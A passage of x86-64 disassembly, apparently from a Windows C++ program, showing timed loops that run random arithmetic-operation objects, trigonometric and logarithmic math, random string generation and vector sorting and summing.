call fcn.140024f00
mov ecx, eax
jmp 0x14000c71f
lea edi, [rax + 1]
call fcn.140024f00
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000c716
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000c716
nop dword [rax + rax]
lea rcx, [rbp + 0x17f0]
call fcn.140024f00
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000c700
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x30]
imul edx, eax
mov dword [rsp + 0x30], edx
jmp 0x14000c7a1
movaps xmm1, xmm8
movaps xmm2, xmm11
mov edi, 2
nop word [rax + rax]
lea rcx, [rbp + 0x17f0]
call fcn.140024f00
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000c750
movsd xmm0, qword [rsp + 0x38]
divsd xmm1, xmm2
mulsd xmm1, xmm13
subsd xmm1, xmm14
addsd xmm1, xmm11
divsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
inc r15d
cmp r15d, 5
jl 0x14000c590
sub r12, 1
jne 0x14000c581
mov rcx, qword [rbp + 0x130]
test rcx, rcx
je 0x14000c817
mov rax, qword [rbp + 0x140]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c7fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c87a
call fcn.14002cdd0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x130], xmm0
xor r12d, r12d
mov qword [rbp + 0x140], r12
jmp 0x14000c81a
xor r12d, r12d
mov rdx, qword [rbp + 0x1f0]
cmp rdx, 0x10
jb 0x14000c857
inc rdx
mov rcx, qword [rbp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c852
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c881
call fcn.14002cdd0
inc r13d
cmp r13d, 0x186a0
movsd xmm7, qword [0x140031ab0]
mov r14d, 0x80000000
jl 0x14000bd00
jmp 0x14000bcaf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, dword [rsp + 0x30]
mov rbx, qword [rbp + 0x118]
mov r13d, 1
test rbx, rbx
je 0x14000c928
mov rdi, qword [rbp + 0x120]
cmp rbx, rdi
je 0x14000c8d0
nop
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000c8c0
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
add rbx, 8
cmp rbx, rdi
jne 0x14000c8b0
mov rbx, qword [rbp + 0x118]
mov rax, qword [rbp + 0x128]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000c90e
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c90e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.14002cdd0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], r12
lea rcx, [rbp + 0x260]
call fcn.14000e580
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x260]
call fcn.14001fcc0
nop
cmp qword [rbp + 0x2e8], 0
je 0x14000e421
lea rcx, [rbp + 0x1a8]
call fcn.140021370
nop
mov rcx, qword [rbp + 0x180]
call fcn.140021180
mov rdi, rax
call fcn.1400211a0
mov rbx, rax
cmp rax, rdi
je 0x14000ca3c
mov esi, 0x22
lea r15, [rsi - 0x23]
nop dword [rax]
movzx r9d, word [rbx]
cmp r9w, si
je 0x14000c9e6
mov rcx, qword [rbp + 0x1b8]
mov rdx, qword [rbp + 0x1c0]
cmp rcx, rdx
jae 0x14000c9d8
lea rax, [rcx + 1]
mov qword [rbp + 0x1b8], rax
lea rax, [rbp + 0x1a8]
cmp rdx, 8
cmovae rax, qword [rbp + 0x1a8]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r12w
jmp 0x14000ca2f
lea rcx, [rbp + 0x1a8]
call fcn.140023520
jmp 0x14000ca2f
mov eax, dword [0x140031624]
mov dword [rsp + 0x40], eax
movzx eax, word [0x140031628]
mov word [rsp + 0x40], si
xor word [rsp + 0x42], 0x21
xor ax, 0x23
mov word [rsp + 0x44], ax
lea rax, [rsp + 0x40]
mov r8, r15
inc r8
cmp word [rax + r8*2], 0
jne 0x14000ca13
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x1a8]
call fcn.1400211b0
add rbx, 2
cmp rbx, rdi
jne 0x14000c990
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x17e4], 0xffffffff
mov dword [rbp + 0x464], eax
mov rcx, r13
nop word [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x464], edx
inc rcx
cmp rcx, 0x270
jb 0x14000ca60
mov dword [rbp + 0x460], 0x270
mov dword [rbp + 0xf8], 0xffffff9c
mov dword [rbp + 0xfc], 0x64
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm8
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14000caca
imul rax, rax, 0x64
jmp 0x14000cae5
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea rbx, [rax + 0x5f5e100]
mov qword [rbp - 0x28], rbx
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x100], xmm1
mov qword [rbp + 0x110], r12
mov ecx, 8
call fcn.14002cdd8
lea rcx, vtable.AddOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x70], r12
mov qword [rbp - 0x58], rax
mov rdx, qword [rbp + 0x108]
cmp rdx, qword [rbp + 0x110]
je 0x14000cb42
mov rcx, r12
mov qword [rbp - 0x58], rcx
mov qword [rdx], rax
add qword [rbp + 0x108], 8
jmp 0x14000cb56
lea r8, [rbp - 0x58]
lea rcx, [rbp + 0x100]
call fcn.140024c30
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x14000cb64
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
nop
mov ecx, 8
call fcn.14002cdd8
lea rcx, vtable.MultiplyOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x78], r12
mov qword [rbp - 0x50], rax
mov rdx, qword [rbp + 0x108]
cmp rdx, qword [rbp + 0x110]
je 0x14000cba4
mov rcx, r12
mov qword [rbp - 0x50], rcx
mov qword [rdx], rax
add qword [rbp + 0x108], 8
jmp 0x14000cbb8
lea r8, [rbp - 0x50]
lea rcx, [rbp + 0x100]
call fcn.140024c30
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x14000cbc6
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
nop
mov ecx, 8
call fcn.14002cdd8
lea rcx, vtable.SubtractOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x80], r12
mov qword [rbp - 0x48], rax
mov rdx, qword [rbp + 0x108]
cmp rdx, qword [rbp + 0x110]
je 0x14000cc09
mov rcx, r12
mov qword [rbp - 0x48], rcx
mov qword [rdx], rax
add qword [rbp + 0x108], 8
jmp 0x14000cc1d
lea r8, [rbp - 0x48]
lea rcx, [rbp + 0x100]
call fcn.140024c30
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14000cc2b
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
nop
mov ecx, 8
call fcn.14002cdd8
lea rcx, vtable.DivideOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x38], r12
mov qword [rbp - 0x40], rax
mov rdx, qword [rbp + 0x108]
cmp rdx, qword [rbp + 0x110]
je 0x14000cc6b
mov rcx, r12
mov qword [rbp - 0x40], rcx
mov qword [rdx], rax
add qword [rbp + 0x108], 8
jmp 0x14000cc7f
lea r8, [rbp - 0x40]
lea rcx, [rbp + 0x100]
call fcn.140024c30
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x14000cc8d
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
nop
mov ecx, 8
call fcn.14002cdd8
lea rcx, vtable.ModulusOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x40], r12
mov qword [rbp - 0x38], rax
mov rdx, qword [rbp + 0x108]
cmp rdx, qword [rbp + 0x110]
je 0x14000cccd
mov rcx, r12
mov qword [rbp - 0x38], rcx
mov qword [rdx], rax
add qword [rbp + 0x108], 8
jmp 0x14000cce1
lea r8, [rbp - 0x38]
lea rcx, [rbp + 0x100]
call fcn.140024c30
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x14000ccef
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
nop
mov ecx, 8
call fcn.14002cdd8
lea rcx, vtable.ComplexOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x48], r12
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp + 0x108]
cmp rdx, qword [rbp + 0x110]
je 0x14000cd2f
mov rcx, r12
mov qword [rbp - 0x30], rcx
mov qword [rdx], rax
add qword [rbp + 0x108], 8
jmp 0x14000cd43
lea r8, [rbp - 0x30]
lea rcx, [rbp + 0x100]
call fcn.140024c30
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x14000cd51
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
nop
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rdi, 0x989680
jne 0x14000cd6f
imul rax, rax, 0x64
jmp 0x14000cd8a
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, rbx
jge 0x14000d926
mov r13d, r12d
nop word [rax + rax]
mov esi, dword [rbp + 0xf8]
mov r14d, 0x80000000
cmp esi, r14d
lea ecx, [rsi + r14]
jb 0x14000cdbb
lea ecx, [rsi - 0x80000000]
mov edi, dword [rbp + 0xfc]
cmp edi, r14d
lea eax, [rdi + r14]
jb 0x14000cdd0
lea eax, [rdi - 0x80000000]
sub eax, ecx
lea rcx, [rbp + 0x460]
cmp eax, 0xffffffff
jne 0x14000cde5
call fcn.140024f00
jmp 0x14000ce2d
lea r14d, [rax + 1]
call fcn.140024f00
mov r15d, r14d
mov ecx, eax
imul rcx, r15
cmp ecx, r14d
jae 0x14000ce27
mov eax, r14d
neg eax
xor edx, edx
div r14d
mov r14d, edx
cmp ecx, edx
jae 0x14000ce27
nop dword [rax]
lea rcx, [rbp + 0x460]
call fcn.140024f00
mov ecx, eax
imul rcx, r15
cmp ecx, r14d
jb 0x14000ce10
mov r14d, 0x80000000
cmp esi, r14d
lea r12d, [rsi + r14]
jb 0x14000ce3d
lea r12d, [rsi - 0x80000000]
cmp edi, r14d
lea eax, [rdi + r14]
jb 0x14000ce4c
lea eax, [rdi - 0x80000000]
sub eax, r12d
lea rcx, [rbp + 0x460]
cmp eax, 0xffffffff
jne 0x14000ce64
call fcn.140024f00
mov ecx, eax
jmp 0x14000ceb1
lea r14d, [rax + 1]
call fcn.140024f00
mov r15d, r14d
mov ecx, eax
imul rcx, r15
cmp ecx, r14d
jae 0x14000cea7
mov eax, r14d
neg eax
xor edx, edx
div r14d
mov r14d, edx
cmp ecx, edx
jae 0x14000cea7
nop dword [rax]
lea rcx, [rbp + 0x460]
call fcn.140024f00
mov ecx, eax
imul rcx, r15
cmp ecx, r14d
jb 0x14000ce90
shr rcx, 0x20
mov r14d, 0x80000000
lea edx, [rcx + r12]
mov r8, qword [rbp + 0x108]
mov r9, qword [rbp + 0x100]
sub r8, r9
sar r8, 3
lea eax, [rdx + r14]
lea ecx, [rdx - 0x80000000]
cmp edx, r14d
cmovae ecx, eax
movsxd rax, ecx
xor edx, edx
div r8
movsxd rax, edx
mov r15, qword [r9 + rax*8]
mov rax, qword [r15]
mov r12, qword [rax + 8]
cmp esi, r14d
jae 0x14000cefa
add r14d, esi
jmp 0x14000cf01
lea r14d, [rsi - 0x80000000]
mov esi, 0x80000000
add edi, esi
sub edi, r14d
lea rcx, [rbp + 0x460]
cmp edi, 0xffffffff
jne 0x14000cf20
call fcn.140024f00
mov ecx, eax
jmp 0x14000cf60
inc edi
call fcn.140024f00
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000cf57
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000cf57
lea rcx, [rbp + 0x460]
call fcn.140024f00
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000cf41
shr rcx, 0x20
mov esi, 0x80000000
lea edx, [rcx + r14]
lea eax, [rdx + rsi]
lea r8d, [rdx - 0x80000000]
cmp edx, esi
cmovae r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, r15
call r12
mov dword [rsp + 0x30], eax
movaps xmm10, xmm8
movaps xmm1, xmm11
mov edi, 2
nop
lea rcx, [rbp + 0x460]
call fcn.140024f00
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm10, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x14000cf90
divsd xmm10, xmm1
mulsd xmm10, xmm13
subsd xmm10, xmm14
movaps xmm12, xmm8
movaps xmm1, xmm11
mov edi, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x460]
call fcn.140024f00
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm12, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x14000cfe0
divsd xmm12, xmm1
mulsd xmm12, xmm13
subsd xmm12, xmm14
movaps xmm6, xmm12
andps xmm6, xmm7
movaps xmm0, xmm10
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm7, xmm0
movaps xmm0, xmm12
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm7, xmm0
addsd xmm6, xmm11
movaps xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_log
addsd xmm7, xmm0
movaps xmm0, xmm10
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm7, xmm0
movsd xmm1, qword [rsp + 0x38]
addsd xmm7, xmm1
movsd qword [rsp + 0x38], xmm7
movaps xmm0, xmm8
movaps xmm2, xmm11
mov edi, 2
nop dword [rax]
lea rcx, [rbp + 0x460]
call fcn.140024f00
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000d080
divsd xmm0, xmm2
mulsd xmm0, xmm13
subsd xmm0, xmm14
movaps xmm1, xmm15
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
movaps xmm0, xmm8
movaps xmm2, xmm11
mov edi, 2
lea rcx, [rbp + 0x460]
call fcn.140024f00
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000d0e2
divsd xmm0, xmm2
mulsd xmm0, xmm13
subsd xmm0, xmm14
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rsp + 0x38]
mulsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f8], xmm0
xor r15d, r15d
mov qword [rbp + 0x208], r15
mov qword [rbp + 0x210], r15
lea r8d, [rdi + 6]
lea rdx, str.random
lea rcx, [rbp + 0x1f8]
call fcn.140023b70
nop
lea rdi, [rbp + 0x1f8]
cmp qword [rbp + 0x210], 0x10
jb 0x14000d183
mov rdi, qword [rbp + 0x1f8]
mov rcx, rdi
jmp 0x14000d18a
lea rcx, [rbp + 0x1f8]
mov rdx, rdi
mov rsi, qword [rbp + 0x208]
add rsi, rcx
cmp rdx, rsi
je 0x14000d1e7
nop dword [rax]
lea rcx, [rbp + 0x460]
call fcn.140024f00
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x14000d1d7
nop word [rax + rax]
lea rcx, [rbp + 0x460]
call fcn.140024f00
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x14000d1c0
shr rax, 0x20
add al, 0x61
mov byte [rdi], al
inc rdi
cmp rdi, rsi
jne 0x14000d1a0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x148], xmm1
mov qword [rbp + 0x158], r15
mov ecx, 0x190
call fcn.14002cdd8
mov qword [rbp + 0x148], rax
lea r14, [rax + 0x190]
mov qword [rbp + 0x158], r14
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x150], r14
mov rsi, qword [rbp + 0x148]
cmp rsi, r14
je 0x14000d26c
nop dword [rax + rax]
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0xf8]
call fcn.140022860
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x14000d240
mov r14, qword [rbp + 0x150]
mov rsi, qword [rbp + 0x148]
mov dword [rbp + 0x180], 0xffffff9c
mov dword [rbp + 0x184], 0x64
cmp rsi, r14
je 0x14000d2c0
nop word [rax + rax]
mov edi, dword [rsi]
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x180]
call fcn.140022860
add eax, edi
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x14000d290
mov r14, qword [rbp + 0x150]
mov rsi, qword [rbp + 0x148]
mov r8, r14
sub r8, rsi
sar r8, 2
xor r9d, r9d
mov rdx, r14
mov rcx, rsi
call fcn.1400256f0
mov r8d, r15d
mov rax, qword [rbp + 0x148]
mov rdx, r15
mov r9, qword [rbp + 0x150]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r15
test rcx, rcx
je 0x14000d365
cmp rcx, 8
jb 0x14000d365
and rcx, 0xfffffffffffffff8
xorps xmm1, xmm1
xorps xmm2, xmm2
nop word [rax + rax]
movdqu xmm0, xmmword [rax]
paddd xmm1, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm0, xmm2
movdqa xmm2, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x14000d320
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x14000d37c
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x14000d370
mov eax, dword [rsp + 0x30]
add eax, r8d
mov dword [rsp + 0x30], eax
mov r14d, dword [rbp + 0xf8]
mov r15d, 0x80000000
cmp r14d, r15d
lea r12d, [r14 + r15]
jb 0x14000d3a4
lea r12d, [r14 - 0x80000000]
mov esi, dword [rbp + 0xfc]
cmp esi, r15d
lea eax, [rsi + r15]
jb 0x14000d3b9
lea eax, [rsi - 0x80000000]
sub eax, r12d
lea rcx, [rbp + 0x460]
cmp eax, 0xffffffff
jne 0x14000d3d1
call fcn.140024f00
mov ecx, eax
jmp 0x14000d414
lea edi, [rax + 1]
call fcn.140024f00
mov r15d, edi
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jae 0x14000d40a
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000d40a
lea rcx, [rbp + 0x460]
call fcn.140024f00
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jb 0x14000d3f4
shr rcx, 0x20
mov r15d, 0x80000000
add ecx, r12d
lea eax, [rcx - 0x80000000]
lea edi, [rcx + r15]
cmp ecx, r15d
cmovae edi, eax
cmp r14d, r15d
jae 0x14000d431
add r15d, r14d
jmp 0x14000d438
lea r15d, [r14 - 0x80000000]
mov eax, 0x80000000
add esi, eax
sub esi, r15d
lea rcx, [rbp + 0x460]
cmp esi, 0xffffffff
jne 0x14000d457
call fcn.140024f00
mov ecx, eax
jmp 0x14000d49a
inc esi
call fcn.140024f00
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x14000d496
mov eax, esi
neg eax
xor edx, edx
div esi
mov esi, edx
cmp ecx, edx
jae 0x14000d496
nop dword [rax]
lea rcx, [rbp + 0x460]
call fcn.140024f00
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x14000d480
shr rcx, 0x20
add ecx, r15d
lea eax, [rcx - 0x80000000]
mov esi, 0x80000000
lea r8d, [rcx + rsi]
cmp ecx, esi
cmovae r8d, eax
mov ecx, edi
test edi, edi
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, edi
cdq
idiv ecx
imul edi, r8d
lea ecx, [rdi + rax]
mov eax, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x14000d4e9
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
mov eax, dword [rbp + 0xf8]
lea r14d, [rax + rsi]
jne 0x14000d58f
cmp eax, esi
jb 0x14000d506
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0xfc]
add eax, esi
sub eax, r14d
lea rcx, [rbp + 0x460]
cmp eax, 0xffffffff
jne 0x14000d526
call fcn.140024f00
mov ecx, eax
jmp 0x14000d56f
lea edi, [rax + 1]
call fcn.140024f00
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000d566
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000d566
nop dword [rax + rax]
lea rcx, [rbp + 0x460]
call fcn.140024f00
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000d550
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x30]
add edx, eax
mov dword [rsp + 0x30], edx
jmp 0x14000d61b
cmp eax, esi
jb 0x14000d59a
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0xfc]
add eax, esi
sub eax, r14d
lea rcx, [rbp + 0x460]
cmp eax, 0xffffffff
jne 0x14000d5ba
call fcn.140024f00
mov ecx, eax
jmp 0x14000d5ff
lea edi, [rax + 1]
call fcn.140024f00
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000d5f6
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000d5f6
nop dword [rax]
lea rcx, [rbp + 0x460]
call fcn.140024f00
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000d5e0
shr rcx, 0x20
mov esi, 0x80000000
lea edx, [rcx + r14]
lea eax, [rdx + rsi]
lea ecx, [rdx - 0x80000000]
cmp edx, esi
cmovae ecx, eax
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
xor ebx, ebx
lea r12d, [rbx + 5]
mov r15d, ebx
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [rbp + 0xf8]
cmp eax, esi
lea r14d, [rax + rsi]
jb 0x14000d645
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0xfc]
cmp eax, esi
jae 0x14000d653
add eax, esi
jmp 0x14000d658
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x460]
cmp eax, 0xffffffff
jne 0x14000d670
call fcn.140024f00
mov ecx, eax
jmp 0x14000d6b1
lea edi, [rax + 1]
call fcn.140024f00
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000d6a8
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000d6a8
lea rcx, [rbp + 0x460]
call fcn.140024f00
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000d692
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x30]
add edx, eax
mov dword [rsp + 0x30], edx
movaps xmm1, xmm8
movaps xmm2, xmm11
mov edi, 2
nop dword [rax]
lea rcx, [rbp + 0x460]
call fcn.140024f00
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000d6e0
divsd xmm1, xmm2
mulsd xmm1, xmm13
subsd xmm1, xmm14
movsd xmm0, qword [rsp + 0x38]
addsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
test r15b, 1
jne 0x14000d7dd
mov eax, dword [rbp + 0xf8]
cmp eax, esi
lea r14d, [rax + rsi]
jb 0x14000d74b
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0xfc]
cmp eax, esi
jae 0x14000d759
add eax, esi
jmp 0x14000d75e
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x460]
cmp eax, 0xffffffff
jne 0x14000d776
call fcn.140024f00
mov ecx, eax
jmp 0x14000d7bf
lea edi, [rax + 1]
call fcn.140024f00
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000d7b6
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000d7b6
nop dword [rax + rax]
lea rcx, [rbp + 0x460]
call fcn.140024f00
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000d7a0
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x30]
imul edx, eax
mov dword [rsp + 0x30], edx
jmp 0x14000d841
movaps xmm1, xmm8
movaps xmm2, xmm11
mov edi, 2
nop word [rax + rax]
lea rcx, [rbp + 0x460]
call fcn.140024f00
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000d7f0
movsd xmm0, qword [rsp + 0x38]
divsd xmm1, xmm2
mulsd xmm1, xmm13
subsd xmm1, xmm14
addsd xmm1, xmm11
divsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
inc r15d
cmp r15d, 5
jl 0x14000d630
sub r12, 1
jne 0x14000d621
mov rbx, qword [rbp - 0x28]
mov rcx, qword [rbp + 0x148]
test rcx, rcx
je 0x14000d8bb
mov rax, qword [rbp + 0x158]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d89f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d918
call fcn.14002cdd0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x148], xmm0
xor r12d, r12d
mov qword [rbp + 0x158], r12
jmp 0x14000d8be
xor r12d, r12d
mov rdx, qword [rbp + 0x210]
cmp rdx, 0x10
jb 0x14000d8fb
inc rdx
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d8f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d91f
call fcn.14002cdd0
inc r13d
cmp r13d, 0x186a0
movsd xmm7, qword [0x140031ab0]
jl 0x14000cda0
jmp 0x14000cd51
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, dword [rsp + 0x30]
mov rbx, qword [rbp + 0x100]
test rbx, rbx
je 0x14000d9ae
mov rdi, qword [rbp + 0x108]
cmp rbx, rdi
je 0x14000d968
mov r13d, 1
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000d958
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
add rbx, 8
cmp rbx, rdi
jne 0x14000d948
mov rbx, qword [rbp + 0x100]
mov rax, qword [rbp + 0x110]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000d9a6
add rdx, 0x27
mov rbx, qword [rbx - 8]
